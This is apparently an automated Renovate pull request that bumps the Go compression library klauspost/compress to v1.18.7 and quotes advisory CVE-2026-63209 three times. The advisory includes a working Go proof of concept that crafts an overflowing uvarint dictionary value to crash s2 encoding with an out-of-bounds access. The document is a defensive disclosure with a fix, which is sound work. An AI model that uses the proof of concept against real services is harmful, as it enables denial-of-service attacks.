[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
github.com/klauspost/compress	v1.18.6 → v1.18.7

---

Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

CVE-2026-63209 / GHSA-259r-337f-4rfw

More information

Details

Signed Integer Overflow in s2.NewDict

Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package

• Name: github.com/klauspost/compress/s2
• Ecosystem: Go
• Affected versions: <= v1.18.6 (all versions with NewDict function)

Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability

Type

• CWE-190: Integer Overflow or Wraparound
• CWE-787: Out-of-bounds Write (via unsafe.Pointer)

Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC

package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}

Impact

• Denial of Service: The process crashes immediately with SIGSEGV

Attack Vector

Any application that:

1. Accepts user-supplied S2 dictionary data via s2.NewDict()
2. Calls Dict.Encode() on any data ≥32 bytes

Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References

• Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
• Commit: 539243b (v1.18.6 + 4 commits)

Credits

Christopher Linke / https://github.com/celinke97/

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw
• https://nvd.nist.gov/vuln/detail/CVE-2026-63209
• https://github.com/klauspost/compress/pull/1163
• https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536
• https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa
• https://github.com/klauspost/compress/releases/tag/v1.18.7
• https://github.com/advisories/GHSA-259r-337f-4rfw

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

CVE-2026-63209 / GHSA-259r-337f-4rfw / GO-2026-5841

More information

Details

Signed Integer Overflow in s2.NewDict

Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package

• Name: github.com/klauspost/compress/s2
• Ecosystem: Go
• Affected versions: <= v1.18.6 (all versions with NewDict function)

Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability

Type

• CWE-190: Integer Overflow or Wraparound
• CWE-787: Out-of-bounds Write (via unsafe.Pointer)

Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC

package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}

Impact

• Denial of Service: The process crashes immediately with SIGSEGV

Attack Vector

Any application that:

1. Accepts user-supplied S2 dictionary data via s2.NewDict()
2. Calls Dict.Encode() on any data ≥32 bytes

Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References

• Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
• Commit: 539243b (v1.18.6 + 4 commits)

Credits

Christopher Linke / https://github.com/celinke97/

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw
• https://nvd.nist.gov/vuln/detail/CVE-2026-63209
• https://github.com/klauspost/compress/pull/1163
• https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536
• https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa
• https://github.com/klauspost/compress
• https://github.com/klauspost/compress/releases/tag/v1.18.7

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

OOB read in github.com/klauspost/compress/s2

CVE-2026-63209 / GHSA-259r-337f-4rfw / GO-2026-5841

More information

Details

Providing a specially crafted dictionary to s2.NewDict and using it to encode data can make the encoder read out of bounds.

Severity

Unknown

References

• https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw
• https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

---

Release Notes

klauspost/compress (github.com/klauspost/compress)

v1.18.7

Compare Source

• Fix s2.NewDict OOB read.

Security release without other changes.

Full Changelog: klauspost/compress@v1.18.6...v1.18.7

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